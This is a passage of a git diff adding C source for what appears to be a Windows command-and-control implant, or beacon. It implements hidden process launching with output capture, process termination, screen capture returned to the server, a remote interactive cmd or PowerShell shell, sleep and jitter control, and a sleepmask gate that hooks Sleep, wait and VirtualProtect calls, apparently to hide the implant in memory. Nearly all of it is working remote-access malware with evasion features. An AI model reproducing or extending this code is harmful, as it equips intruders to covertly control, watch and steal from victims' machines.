!NT_SUCCESS( status ) ) { + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; + } + + status = Nax->Ntdll.NtTerminateProcess( hProcess, 0 ); + Nax->Ntdll.NtClose( hProcess ); + + if ( !NT_SUCCESS( status ) ) { + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; + } + + /* Return the killed PID as confirmation */ + out[0] = (BYTE)( pid & 0xFF ); + out[1] = (BYTE)( ( pid >> 8 ) & 0xFF ); + out[2] = (BYTE)( ( pid >> 16 ) & 0xFF ); + out[3] = (BYTE)( ( pid >> 24 ) & 0xFF ); + *out_len = 4; + return NAX_OK; +} + +/* ========= [ CMD_PS_RUN (0x25) ] ========= */ + +/* args: flags(1) + cmdline_len(4LE) + cmdline + * flags bit 0 (0x01): capture stdout/stderr (-o) + * flags bit 1 (0x02): create suspended (-s) + * flags bit 2 (0x04): use impersonation (-i, reserved) + * result (success): pid(4LE) + flags(1) + output_text (if -o) + * result (failure): Win32 error via NaxWriteWin32Err */ + +FUNC INT CmdPsRun( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + if ( args_len < 5 || *out_len < 5 ) return NAX_ERR_INVAL; + + BYTE flags = args[0]; + BYTE wantOutput = ( flags & 0x01 ) ? 1 : 0; + BYTE suspended = ( flags & 0x02 ) ? 1 : 0; + UINT32 cmdLen = (UINT32)args[1] | ( (UINT32)args[2] << 8 ) | ( (UINT32)args[3] << 16 ) | ( (UINT32)args[4] << 24 ); + if ( 5 + cmdLen > args_len || cmdLen == 0 ) return NAX_ERR_INVAL; + + /* Build NUL-terminated command line on heap */ + PCHAR cmdline = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, cmdLen + 1 ); + if ( !cmdline ) return NAX_ERR_NOMEM; + MmCopy( cmdline, args + 5, cmdLen ); + cmdline[cmdLen] = '\0'; + + HANDLE pipeRead = NULL, pipeWrite = NULL; + + if ( wantOutput && !suspended ) { + SECURITY_ATTRIBUTES sa; + MmZero( &sa, sizeof( sa ) ); + sa.nLength = sizeof( SECURITY_ATTRIBUTES ); + sa.bInheritHandle = TRUE; + if ( !Nax->Kernel32.CreatePipe( &pipeRead, &pipeWrite, &sa, 0 ) ) { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, cmdline ); + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; + } + } + + STARTUPINFOA si; + MmZero( &si, sizeof( si ) ); + si.cb = sizeof( STARTUPINFOA ); + si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + if ( wantOutput && !suspended ) { + si.hStdOutput = pipeWrite; + si.hStdError = pipeWrite; + } + + PROCESS_INFORMATION pi; + MmZero( &pi, sizeof( pi ) ); + + DWORD creationFlags = CREATE_NO_WINDOW; + if ( suspended ) creationFlags |= CREATE_SUSPENDED; + + BOOL ok = Nax->Kernel32.CreateProcessA( NULL, cmdline, NULL, NULL, ( wantOutput && !suspended ) ? TRUE : FALSE, creationFlags, NULL, NULL, &si, &pi ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, cmdline ); + + if ( !ok ) { + if ( pipeRead ) Nax->Kernel32.CloseHandle( pipeRead ); + if ( pipeWrite ) Nax->Kernel32.CloseHandle( pipeWrite ); + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; + } + + UINT32 pid = (UINT32)(UINT_PTR)pi.dwProcessId; + + /* Write result header: pid(4LE) + flags(1) */ + out[0] = (BYTE)( pid & 0xFF ); + out[1] = (BYTE)( ( pid >> 8 ) & 0xFF ); + out[2] = (BYTE)( ( pid >> 16 ) & 0xFF ); + out[3] = (BYTE)( ( pid >> 24 ) & 0xFF ); + out[4] = flags; + UINT32 pos = 5; + + if ( wantOutput && !suspended ) { + Nax->Kernel32.CloseHandle( pipeWrite ); + pipeWrite = NULL; + + Nax->Kernel32.WaitForSingleObject( pi.hProcess, NAX_PS_OUTPUT_WAIT_MS ); + + BYTE readBuf[4096]; + for ( ;; ) { + DWORD avail = 0; + if ( !Nax->Kernel32.PeekNamedPipe( pipeRead, NULL, 0, NULL, &avail, NULL ) || avail == 0 ) break; + + DWORD bytesRead = 0; + DWORD toRead = avail < sizeof( readBuf ) ? avail : sizeof( readBuf ); + if ( !Nax->Kernel32.ReadFile( pipeRead, readBuf, toRead, &bytesRead, NULL ) || bytesRead == 0 ) break; + + UINT32 space = ( *out_len > pos ) ? ( *out_len - pos ) : 0; + UINT32 copy = ( bytesRead <= space ) ? bytesRead : space; + if ( copy > 0 ) { + MmCopy( out + pos, readBuf, copy ); + pos += copy; + } + if ( copy < bytesRead ) break; + } + Nax->Kernel32.CloseHandle( pipeRead ); + + Nax->Ntdll.NtTerminateProcess( pi.hProcess, 0 ); + } + + Nax->Kernel32.CloseHandle( pi.hProcess ); + Nax->Kernel32.CloseHandle( pi.hThread ); + + *out_len = pos; + return NAX_OK; +} diff --git a/src_beacon/src/Commands/Screenshot.c b/src_beacon/src/Commands/Screenshot.c new file mode 100644 index 0000000..27c594a --- /dev/null +++ b/src_beacon/src/Commands/Screenshot.c @@ -0,0 +1,102 @@ +/* beacon/src/Commands/Screenshot.c + * CMD_SCREENSHOT (0x21) - capture desktop via GDI and return as a BMP wrapped in + * the CALLBACK_AX_SCREENSHOT (0x81) tagged format so the server calls TsScreenshotAdd. + * + * Result layout (same as AxAddScreenshot BOF proxy): + * [0x81][note_len(4LE)=0][note(0)][bmp_len(4LE)][bmp_bytes] + * + * The BMP is a 24-bpp top-down Device-Independent Bitmap: + * BITMAPFILEHEADER (14 bytes) + BITMAPINFOHEADER (40 bytes) + pixel rows. + * Row stride is DWORD-aligned: (width*3 + 3) & ~3. */ + +#include "Nax.h" +#include "Bof.h" +#include "Screenshot.h" + +FUNC INT NaxCmdScreenshot( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) { + NaxDbg( Nax, "[scr] GetDC=%p BitBlt=%p GetDIBits=%p", + (PVOID)Nax->User32.GetDC, (PVOID)Nax->Gdi32.BitBlt, (PVOID)Nax->Gdi32.GetDIBits ); + if ( !Nax->User32.GetDC || !Nax->Gdi32.BitBlt || !Nax->Gdi32.GetDIBits ) { + NaxDbg( Nax, "[scr] GDI not available - user32/gdi32 not loaded" ); + return NAX_ERR_FAIL; + } + + INT cx = Nax->User32.GetSystemMetrics( NX_SM_CXSCREEN ); + INT cy = Nax->User32.GetSystemMetrics( NX_SM_CYSCREEN ); + if ( cx <= 0 || cy <= 0 ) return NAX_ERR_FAIL; + + /* Capture screen */ + HDC hdcSrc = Nax->User32.GetDC( NULL ); + if ( !hdcSrc ) return NAX_ERR_FAIL; + + HDC hdcMem = Nax->Gdi32.CreateCompatibleDC( hdcSrc ); + HBITMAP hBmp = Nax->Gdi32.CreateCompatibleBitmap( hdcSrc, cx, cy ); + if ( !hdcMem || !hBmp ) { + if ( hBmp ) Nax->Gdi32.DeleteObject( hBmp ); + if ( hdcMem ) Nax->Gdi32.DeleteDC( hdcMem ); + Nax->User32.ReleaseDC( NULL, hdcSrc ); + return NAX_ERR_FAIL; + } + + HGDIOBJ hOld = Nax->Gdi32.SelectObject( hdcMem, hBmp ); + Nax->Gdi32.BitBlt( hdcMem, 0, 0, cx, cy, hdcSrc, 0, 0, NX_SRCCOPY ); + Nax->Gdi32.SelectObject( hdcMem, hOld ); + Nax->User32.ReleaseDC( NULL, hdcSrc ); + + /* Compute sizes */ + UINT32 stride = ( (UINT32)cx * 3u + 3u ) & ~3u; /* DWORD-aligned 24bpp row */ + UINT32 pixel_sz = stride * (UINT32)cy; + UINT32 bmp_sz = 14u + 40u + pixel_sz; /* FILEHEADER + INFOHEADER + pixels */ + + /* Result: [0x81][note_len=0(4)][bmp_len(4)][bmp] */ + UINT32 result_sz = 1u + 4u + 4u + bmp_sz; + if ( result_sz > *out_len ) { + Nax->Gdi32.DeleteObject( hBmp ); + Nax->Gdi32.DeleteDC( hdcMem ); + return NAX_ERR_NOMEM; + } + + PBYTE p = out; + + /* Type tag */ + *p++ = CALLBACK_AX_SCREENSHOT; + + /* note_len = 0 */ + *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; + + /* bmp_len */ + NaxW32( p, bmp_sz ); p += 4; + + /* BITMAPFILEHEADER (14 bytes) */ + p[0] = 'B'; p[1] = 'M'; + NaxW32( p + 2, bmp_sz ); /* bfSize */ + NaxW32( p + 6, 0 ); /* bfReserved1+2 */ + NaxW32( p + 10, 14u + 40u ); /* bfOffBits */ + p += 14; + + /* BITMAPINFOHEADER (40 bytes) */ + NaxW32( p, 40u ); /* biSize */ + NaxW32( p + 4, (UINT32)cx ); /* biWidth */ + NaxW32( p + 8, (UINT32)cy ); /* biHeight (positive = bottom-up) */ + p[12] = 1; p[13] = 0; /* biPlanes = 1 */ + p[14] = 24; p[15] = 0; /* biBitCount = 24 */ + NaxW32( p + 16, 0 ); /* biCompression = BI_RGB */ + NaxW32( p + 20, pixel_sz ); /* biSizeImage */ + NaxW32( p + 24, 0 ); /* biXPelsPerMeter */ + NaxW32( p + 28, 0 ); /* biYPelsPerMeter */ + NaxW32( p + 32, 0 ); /* biClrUsed */ + NaxW32( p + 36, 0 ); /* biClrImportant */ + + /* GetDIBits fills pixel data into p+40 using the BITMAPINFO at p */ + Nax->Gdi32.GetDIBits( hdcMem, hBmp, 0, (UINT)cy, + p + 40, + (PVOID)p, /* BITMAPINFO* - reuses INFOHEADER above */ + NX_DIB_RGB_COLORS ); + p += 40 + pixel_sz; + + Nax->Gdi32.DeleteObject( hBmp ); + Nax->Gdi32.DeleteDC( hdcMem ); + + *out_len = result_sz; + return NAX_OK; +} diff --git a/src_beacon/src/Commands/Shell.c b/src_beacon/src/Commands/Shell.c new file mode 100644 index 0000000..8a5ba29 --- /dev/null +++ b/src_beacon/src/Commands/Shell.c @@ -0,0 +1,277 @@ +/* beacon/src/Commands/Shell.c + * Remote interactive shell - bidirectional pipe to cmd.exe/powershell.exe. + * Shells live in Nax->ShellHead; output is drained by NaxProcessShells on + * each heartbeat and returned in job-result wire format. */ + +#include "Nax.h" + +#define SHELL_READ_BUF 4096u + +/* ========= [ linked-list helpers ] ========= */ + +FUNC static NAX_SHELL* ShellFind( PNAX_INSTANCE Nax, UINT32 terminalId ) { + NAX_SHELL* s = Nax->ShellHead; + while ( s ) { + if ( s->TerminalId == terminalId ) + return s; + s = s->Next; + } + return NULL; +} + +FUNC static VOID ShellFree( PNAX_INSTANCE Nax, NAX_SHELL* s ) { + if ( s->hStdinWrite ) Nax->Kernel32.CloseHandle( s->hStdinWrite ); + if ( s->hStdoutRead ) Nax->Kernel32.CloseHandle( s->hStdoutRead ); + if ( s->hThread ) Nax->Kernel32.CloseHandle( s->hThread ); + if ( s->hProcess ) Nax->Kernel32.CloseHandle( s->hProcess ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, s ); +} + +/* ========= [ CmdShellStart ] ========= */ + +FUNC static VOID CmdShellStart( PNAX_INSTANCE Nax, UINT32 terminalId, const PBYTE args, UINT32 argsLen ) { + if ( argsLen < 4 ) return; + + UINT32 progLen = NaxR32( args ); + if ( 4 + progLen > argsLen || progLen == 0 ) return; + + PCHAR cmdline = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, progLen + 1 ); + if ( !cmdline ) return; + MmCopy( cmdline, args + 4, progLen ); + cmdline[ progLen ] = '\0'; + + /* create stdin pipe: parent writes, child reads */ + HANDLE hStdinRead = NULL; + HANDLE hStdinWrite = NULL; + /* create stdout pipe: child writes, parent reads */ + HANDLE hStdoutRead = NULL; + HANDLE hStdoutWrite = NULL; + + SECURITY_ATTRIBUTES sa; + MmZero( &sa, sizeof( sa ) ); + sa.nLength = sizeof( SECURITY_ATTRIBUTES ); + sa.bInheritHandle = TRUE; + + if ( !Nax->Kernel32.CreatePipe( &hStdinRead, &hStdinWrite, &sa, 0 ) ) { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, cmdline ); + return; + } + + if ( !Nax->Kernel32.CreatePipe( &hStdoutRead, &hStdoutWrite, &sa, 0 ) ) { + Nax->Kernel32.CloseHandle( hStdinRead ); + Nax->Kernel32.CloseHandle( hStdinWrite ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, cmdline ); + return; + } + + STARTUPINFOA si; + MmZero( &si, sizeof( si ) ); + si.cb = sizeof( STARTUPINFOA ); + si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + si.hStdInput = hStdinRead; + si.hStdOutput = hStdoutWrite; + si.hStdError = hStdoutWrite; + + PROCESS_INFORMATION pi; + MmZero( &pi, sizeof( pi ) ); + + BOOL ok = Nax->Kernel32.CreateProcessA( NULL, cmdline, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, cmdline ); + + /* child-side pipe ends are now owned by the child; close our copies */ + Nax->Kernel32.CloseHandle( hStdinRead ); + Nax->Kernel32.CloseHandle( hStdoutWrite ); + + if ( !ok ) { + Nax->Kernel32.CloseHandle( hStdinWrite ); + Nax->Kernel32.CloseHandle( hStdoutRead ); + return; + } + + NAX_SHELL* s = (NAX_SHELL*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_SHELL ) ); + if ( !s ) { + Nax->Ntdll.NtTerminateProcess( pi.hProcess, 0 ); + Nax->Kernel32.CloseHandle( pi.hProcess ); + Nax->Kernel32.CloseHandle( pi.hThread ); + Nax->Kernel32.CloseHandle( hStdinWrite ); + Nax->Kernel32.CloseHandle( hStdoutRead ); + return; + } + + MmZero( s, sizeof( NAX_SHELL ) ); + s->TerminalId = terminalId; + s->hProcess = pi.hProcess; + s->hThread = pi.hThread; + s->hStdinWrite = hStdinWrite; + s->hStdoutRead = hStdoutRead; + s->State = NAX_JOB_RUNNING; + s->Started = 0; + + s->Next = Nax->ShellHead; + Nax->ShellHead = s; + + Nax->Kernel32.SetEvent( Nax->JobWakeEvent ); +} + +/* ========= [ CmdShellWrite ] ========= */ + +FUNC static VOID CmdShellWrite( PNAX_INSTANCE Nax, const PBYTE args, UINT32 argsLen ) { + if ( argsLen < 8 ) return; + + UINT32 terminalId = NaxR32( args ); + UINT32 dataLen = NaxR32( args + 4 ); + if ( 8 + dataLen > argsLen || dataLen == 0 ) return; + + NAX_SHELL* s = ShellFind( Nax, terminalId ); + if ( !s || s->State != NAX_JOB_RUNNING ) return; + + DWORD written = 0; + Nax->Kernel32.WriteFile( s->hStdinWrite, args + 8, dataLen, &written, NULL ); +} + +/* ========= [ CmdShellClose ] ========= */ + +FUNC static VOID CmdShellClose( PNAX_INSTANCE Nax, const PBYTE args, UINT32 argsLen ) { + if ( argsLen < 4 ) return; + + UINT32 terminalId = NaxR32( args ); + NAX_SHELL* s = ShellFind( Nax, terminalId ); + if ( !s ) return; + + s->State = NAX_JOB_KILLED; + Nax->Kernel32.SetEvent( Nax->JobWakeEvent ); +} + +/* ========= [ NaxShellDispatch ] ========= */ + +FUNC VOID NaxShellDispatch( PNAX_INSTANCE Nax, UINT32 taskId, BYTE cmdId, const PBYTE args, UINT32 argsLen ) { + if ( cmdId == NAX_CMD_SHELL_START ) + CmdShellStart( Nax, taskId, args, argsLen ); + else if ( cmdId == NAX_CMD_SHELL_WRITE ) + CmdShellWrite( Nax, args, argsLen ); + else if ( cmdId == NAX_CMD_SHELL_CLOSE ) + CmdShellClose( Nax, args, argsLen ); +} + +/* ========= [ NaxProcessShells - heartbeat drain ] ========= */ + +FUNC UINT32 NaxProcessShells( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap ) { + UINT32 written = 0; + NAX_SHELL** pp = &Nax->ShellHead; + + while ( *pp ) { + NAX_SHELL* s = *pp; + + /* ---- alive: drain stdout ---- */ + if ( s->State == NAX_JOB_RUNNING ) { + + /* send empty output once as STARTING notification */ + if ( !s->Started ) { + if ( written + 9 <= out_cap ) { + out[ written ] = NAX_JOB_OUTPUT; + NaxW32( out + written + 1, s->TerminalId ); + NaxW32( out + written + 5, 0 ); + written += 9; + } + s->Started = 1; + } + + /* check whether child has exited */ + BOOL exited = ( Nax->Kernel32.WaitForSingleObject( s->hProcess, 0 ) == WAIT_OBJECT_0 ); + + /* drain available stdout bytes - read directly into out to avoid extra stack buf */ + for ( ;; ) { + DWORD avail = 0; + if ( !Nax->Kernel32.PeekNamedPipe( s->hStdoutRead, NULL, 0, NULL, &avail, NULL ) || avail == 0 ) + break; + + UINT32 hdr_off = written; + UINT32 data_off = written + 9; + if ( data_off >= out_cap ) break; + + UINT32 space = out_cap - data_off; + DWORD toRead = ( avail < space ) ? avail : (DWORD)space; + if ( toRead > SHELL_READ_BUF ) toRead = SHELL_READ_BUF; + + DWORD bytesRead = 0; + if ( !Nax->Kernel32.ReadFile( s->hStdoutRead, out + data_off, toRead, &bytesRead, NULL ) || bytesRead == 0 ) + break; + + out[ hdr_off ] = NAX_JOB_OUTPUT; + NaxW32( out + hdr_off + 1, s->TerminalId ); + NaxW32( out + hdr_off + 5, bytesRead ); + written += 9 + bytesRead; + } + + if ( exited ) + s->State = NAX_JOB_FINISHED; + + pp = &s->Next; + continue; + } + + /* ---- finished or killed: final drain + send completion + unlink ---- */ + BYTE final_type = ( s->State == NAX_JOB_KILLED ) ? NAX_JOB_KILLED : NAX_JOB_COMPLETE; + + if ( s->State == NAX_JOB_KILLED ) { + /* terminate the child process */ + Nax->Ntdll.NtTerminateProcess( s->hProcess, 0 ); + } + + /* drain any remaining stdout before reporting completion */ + for ( ;; ) { + DWORD avail = 0; + if ( !Nax->Kernel32.PeekNamedPipe( s->hStdoutRead, NULL, 0, NULL, &avail, NULL ) || avail == 0 ) + break; + + UINT32 hdr_off = written; + UINT32 data_off = written + 9; + if ( data_off >= out_cap ) break; + + UINT32 space = out_cap - data_off; + DWORD toRead = ( avail < space ) ? avail : (DWORD)space; + if ( toRead > SHELL_READ_BUF ) toRead = SHELL_READ_BUF; + + DWORD bytesRead = 0; + if ( !Nax->Kernel32.ReadFile( s->hStdoutRead, out + data_off, toRead, &bytesRead, NULL ) || bytesRead == 0 ) + break; + + out[ hdr_off ] = NAX_JOB_OUTPUT; + NaxW32( out + hdr_off + 1, s->TerminalId ); + NaxW32( out + hdr_off + 5, bytesRead ); + written += 9 + bytesRead; + } + + /* send completion record */ + if ( final_type == NAX_JOB_COMPLETE ) { + /* 4-byte exit status as data (via NtQueryInformationProcess) */ + PROCESS_BASIC_INFORMATION pbi; + MmZero( &pbi, sizeof( pbi ) ); + Nax->Ntdll.NtQueryInformationProcess( s->hProcess, ProcessBasicInformation, &pbi, sizeof( pbi ), NULL ); + UINT32 exitCode = (UINT32)pbi.ExitStatus; + + if ( written + 13 <= out_cap ) { + out[ written ] = NAX_JOB_COMPLETE; + NaxW32( out + written + 1, s->TerminalId ); + NaxW32( out + written + 5, 4 ); + NaxW32( out + written + 9, exitCode ); + written += 13; + } + } else { + /* KILLED: empty data */ + if ( written + 9 <= out_cap ) { + out[ written ] = NAX_JOB_KILLED; + NaxW32( out + written + 1, s->TerminalId ); + NaxW32( out + written + 5, 0 ); + written += 9; + } + } + + /* unlink */ + *pp = s->Next; + ShellFree( Nax, s ); + } + + return written; +} diff --git a/src_beacon/src/Commands/Sleep.c b/src_beacon/src/Commands/Sleep.c new file mode 100644 index 0000000..6721575 --- /dev/null +++ b/src_beacon/src/Commands/Sleep.c @@ -0,0 +1,55 @@ +/* beacon/src/Commands/Sleep.c + * CMD_SLEEP (0x11) - update sleep interval and jitter, return confirmation. */ + +#include "Nax.h" + +FUNC INT NaxCmdSleep( PNAX_INSTANCE Nax, + const PBYTE args, UINT32 args_len, + PBYTE out, UINT32* out_len ) { + if ( args_len < 5 || args == NULL ) + return NAX_ERR_INVAL; + + UINT32 new_ms = (UINT32)args[0] | ( (UINT32)args[1] << 8 ) | ( (UINT32)args[2] << 16 ) | ( (UINT32)args[3] << 24 ); + BYTE new_jitter = args[4]; + if ( new_jitter > 100 ) + new_jitter = 100; + + Nax->Config.SleepMs = new_ms; + Nax->Config.JitterPct = new_jitter; + + if ( *out_len < 64 ) + return NAX_ERR_NOMEM; + + /* Binary prefix: sleep_ms(4LE) | jitter_pct(1) */ + PBYTE p = out; + p[0] = (BYTE)( new_ms & 0xFFu ); + p[1] = (BYTE)( ( new_ms >> 8 ) & 0xFFu ); + p[2] = (BYTE)( ( new_ms >> 16 ) & 0xFFu ); + p[3] = (BYTE)( ( new_ms >> 24 ) & 0xFFu ); + p[4] = new_jitter; + UINT32 pos = 5; + + /* "sleep=" */ + CHAR pfx[] = { 's', 'l', 'e', 'e', 'p', '=' }; + MmCopy( out + pos, pfx, 6 ); + pos += 6; + if ( new_ms == 0 || ( new_ms % 1000u ) == 0 ) { + pos += NaxUToStr( new_ms / 1000u, (PCHAR)out + pos ); + out[pos++] = 's'; + } else { + pos += NaxUToStr( new_ms, (PCHAR)out + pos ); + out[pos++] = 'm'; + out[pos++] = 's'; + } + + if ( new_jitter > 0 ) { + CHAR jfx[] = { ' ', 'j', 'i', 't', 't', 'e', 'r', '=' }; + MmCopy( out + pos, jfx, 8 ); + pos += 8; + pos += NaxUToStr( (UINT32)new_jitter, (PCHAR)out + pos ); + out[pos++] = '%'; + } + + *out_len = pos; + return NAX_OK; +} diff --git a/src_beacon/src/Commands/Sleepmask.c b/src_beacon/src/Commands/Sleepmask.c new file mode 100644 index 0000000..44904ce --- /dev/null +++ b/src_beacon/src/Commands/Sleepmask.c @@ -0,0 +1,270 @@ +/* beacon/src/Commands/Sleepmask.c + * BeaconGate: gate wrappers, init (embedded BOF), runtime reload. + * All gate wrappers MUST be in the same TU as the code that takes their + * address - cross-TU references go through .refptr (GOT-like) + * which is lost when we extract .text for PIC. */ + +#include "Nax.h" +#include "Config.h" +#include "Bof.h" +#include "Gate.h" + +typedef VOID (*FN_SM_ENTRY)( PVOID, PFUNCTION_CALL ); + +/* ========= [ helpers ] ========= */ + +FUNC static UINT32 NaxCountRunningJobs( PNAX_INSTANCE Nax ) { + UINT32 count = 0; + NAX_JOB* job = Nax->JobHead; + while ( job ) { + if ( job->State == NAX_JOB_RUNNING ) + count++; + job = job->Next; + } + return count; +} + +/* ========= [ gate wrappers ] ========= */ + +#ifdef NAX_GATE_SLEEP +FUNC VOID WINAPI NaxGateSleep( DWORD dwMilliseconds ) { + G_INSTANCE; + + NaxDbg( Nax, "[gate] Sleep(%lu ms)", (UINT32)dwMilliseconds ); + + Nax->SmInfo.ActiveJobCount = NaxCountRunningJobs( Nax ); + + FUNCTION_CALL fc; + MmZero( &fc, sizeof( fc ) ); + fc.SmInfo = &Nax->SmInfo; + + fc.FunctionPtr = Nax->GateOriginals.Sleep; + fc.GateApi = GATE_API_SLEEP; + fc.NumArgs = 1; + fc.Args[0] = (ULONG_PTR)dwMilliseconds; + + ((FN_SM_ENTRY)Nax->Gate)( Nax, &fc ); +} +#endif + +#ifdef NAX_GATE_WAITFORSINGLEOBJECT +FUNC DWORD WINAPI NaxGateWaitForSingleObject( HANDLE hHandle, DWORD dwMilliseconds ) { + G_INSTANCE; + + NaxDbg( Nax, "[gate] WaitForSingleObject(handle=%p wait=%lu ms)", hHandle, (UINT32)dwMilliseconds ); + + Nax->SmInfo.ActiveJobCount = NaxCountRunningJobs( Nax ); + + FUNCTION_CALL fc; + MmZero( &fc, sizeof( fc ) ); + fc.SmInfo = &Nax->SmInfo; + + fc.FunctionPtr = Nax->GateOriginals.WaitForSingleObject; + fc.GateApi = GATE_API_WAIT_FOR_SINGLE_OBJECT; + fc.NumArgs = 2; + fc.Args[0] = (ULONG_PTR)hHandle; + fc.Args[1] = (ULONG_PTR)dwMilliseconds; + + ((FN_SM_ENTRY)Nax->Gate)( Nax, &fc ); + + return (DWORD)fc.RetValue; +} +#endif + +#ifdef NAX_GATE_WAITFORMULTIPLEOBJECTS +FUNC DWORD WINAPI NaxGateWaitForMultipleObjects( DWORD nCount, const HANDLE* lpHandles, BOOL bWaitAll, DWORD dwMilliseconds ) { + G_INSTANCE; + + NaxDbg( Nax, "[gate] WaitForMultipleObjects(n=%lu wait=%lu ms)", (UINT32)nCount, (UINT32)dwMilliseconds ); + + Nax->SmInfo.ActiveJobCount = NaxCountRunningJobs( Nax ); + + FUNCTION_CALL fc; + MmZero( &fc, sizeof( fc ) ); + fc.SmInfo = &Nax->SmInfo; + + fc.FunctionPtr = Nax->GateOriginals.WaitForMultipleObjects; + fc.GateApi = GATE_API_WAIT_FOR_MULTIPLE_OBJECTS; + fc.NumArgs = 4; + fc.Args[0] = (ULONG_PTR)nCount; + fc.Args[1] = (ULONG_PTR)lpHandles; + fc.Args[2] = (ULONG_PTR)bWaitAll; + fc.Args[3] = (ULONG_PTR)dwMilliseconds; + + ((FN_SM_ENTRY)Nax->Gate)( Nax, &fc ); + + return (DWORD)fc.RetValue; +} +#endif + +#ifdef NAX_GATE_VIRTUALPROTECT +FUNC BOOL WINAPI NaxGateVirtualProtect( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) { + G_INSTANCE; + + NaxDbg( Nax, "[gate] VirtualProtect(addr=%p size=%zu)", lpAddress, dwSize ); + FUNCTION_CALL fc; + MmZero( &fc, sizeof( fc ) ); + fc.SmInfo = &Nax->SmInfo; + + fc.FunctionPtr = Nax->GateOriginals.VirtualProtect; + fc.GateApi = GATE_API_VIRTUAL_PROTECT; + fc.NumArgs = 4; + fc.Args[0] = (ULONG_PTR)lpAddress; + fc.Args[1] = (ULONG_PTR)dwSize; + fc.Args[2] = (ULONG_PTR)flNewProtect; + fc.Args[3] = (ULONG_PTR)lpflOldProtect; + + ((FN_SM_ENTRY)Nax->Gate)( Nax, &fc ); + + return (BOOL)fc.RetValue; +} +#endif + +/* ========= [ gate swap table ] ========= */ + +FUNC static VOID NaxGateRegister( PNAX_INSTANCE Nax, PVOID* slot, PVOID gateFunc ) { + if ( Nax->GateSwaps.Count >= NAX_GATE_MAX_SWAPS ) return; + NAX_GATE_SWAP* e = &Nax->GateSwaps.Entries[Nax->GateSwaps.Count++]; + e->Slot = slot; + e->Original = *slot; + *slot = gateFunc; +} + +FUNC VOID NaxGateUnwireAll( PNAX_INSTANCE Nax ) { + for ( UINT32 i = 0; i < Nax->GateSwaps.Count; i++ ) + *Nax->GateSwaps.Entries[i].Slot = Nax->GateSwaps.Entries[i].Original; + Nax->GateSwaps.Count = 0; + Nax->Gate = NULL; +} + +/* ========= [ shared: load BOF + wire gate ] ========= */ + +FUNC INT NaxSleepmaskWire( PNAX_INSTANCE Nax, PBYTE coff, UINT32 coff_size ) { + CHAR sym[] = { 's','l','e','e','p','_','m','a','s','k','\0' }; + PVOID entry = NaxBofLoadResident( Nax, coff, coff_size, sym ); + if ( !entry ) { + NaxDbg( Nax, "[sleepmask] load failed" ); + return NAX_ERR_FAIL; + } + + Nax->Gate = entry; + Nax->GateSwaps.Count = 0; + + /* Record sleepmask region for sleep obfuscation */ + if ( Nax->Ntdll.NtQueryVirtualMemory ) { + MEMORY_BASIC_INFORMATION sm_mbi; + MmZero( &sm_mbi, sizeof( sm_mbi ) ); + if ( Nax->Ntdll.NtQueryVirtualMemory( NtCurrentProcess(), entry, 0, &sm_mbi, sizeof( sm_mbi ), NULL ) == 0 ) { + Nax->SmInfo.SmBase = sm_mbi.AllocationBase; + Nax->SmInfo.SmSize = (UINT32)sm_mbi.RegionSize; + NaxDbg( Nax, "[sleepmask] sm region: base=%p size=0x%x", Nax->SmInfo.SmBase, Nax->SmInfo.SmSize ); + } + } + + if ( Nax->CfgEnabled && Nax->BofStompPool.SmSlot.DllBase ) + NaxCfgAddTarget( Nax, Nax->BofStompPool.SmSlot.DllBase, entry ); + +#ifdef NAX_GATE_SLEEP + if ( !Nax->GateOriginals.Sleep ) + Nax->GateOriginals.Sleep = (PVOID)Nax->Kernel32.Sleep; + NaxGateRegister( Nax, (PVOID*)&Nax->Kernel32.Sleep, (PVOID)NaxGateSleep ); + NaxDbg( Nax, "[sleepmask] gated: Sleep (real=%p)", Nax->GateOriginals.Sleep ); +#endif + +#ifdef NAX_GATE_WAITFORSINGLEOBJECT + if ( !Nax->GateOriginals.WaitForSingleObject ) + Nax->GateOriginals.WaitForSingleObject = (PVOID)Nax->Kernel32.WaitForSingleObject; + NaxGateRegister( Nax, (PVOID*)&Nax->Kernel32.WaitForSingleObject, (PVOID)NaxGateWaitForSingleObject ); + NaxDbg( Nax, "[sleepmask] gated: WaitForSingleObject (real=%p)", Nax->GateOriginals.WaitForSingleObject ); +#endif + +#ifdef NAX_GATE_WAITFORMULTIPLEOBJECTS + if ( !Nax->GateOriginals.WaitForMultipleObjects ) + Nax->GateOriginals.WaitForMultipleObjects = (PVOID)Nax->Kernel32.WaitForMultipleObjects; + NaxGateRegister( Nax, (PVOID*)&Nax->Kernel32.WaitForMultipleObjects, (PVOID)NaxGateWaitForMultipleObjects ); + NaxDbg( Nax, "[sleepmask] gated: WaitForMultipleObjects (real=%p)", Nax->GateOriginals.WaitForMultipleObjects ); +#endif + +#ifdef NAX_GATE_VIRTUALPROTECT + if ( !Nax->GateOriginals.VirtualProtect ) + Nax->GateOriginals.VirtualProtect = (PVOID)Nax->Kernel32.VirtualProtect; + NaxGateRegister( Nax, (PVOID*)&Nax->Kernel32.VirtualProtect, (PVOID)NaxGateVirtualProtect ); + NaxDbg( Nax, "[sleepmask] gated: VirtualProtect (real=%p)", Nax->GateOriginals.VirtualProtect ); +#endif + + NaxDbg( Nax, "[sleepmask] wired: gate=%p", entry ); + return 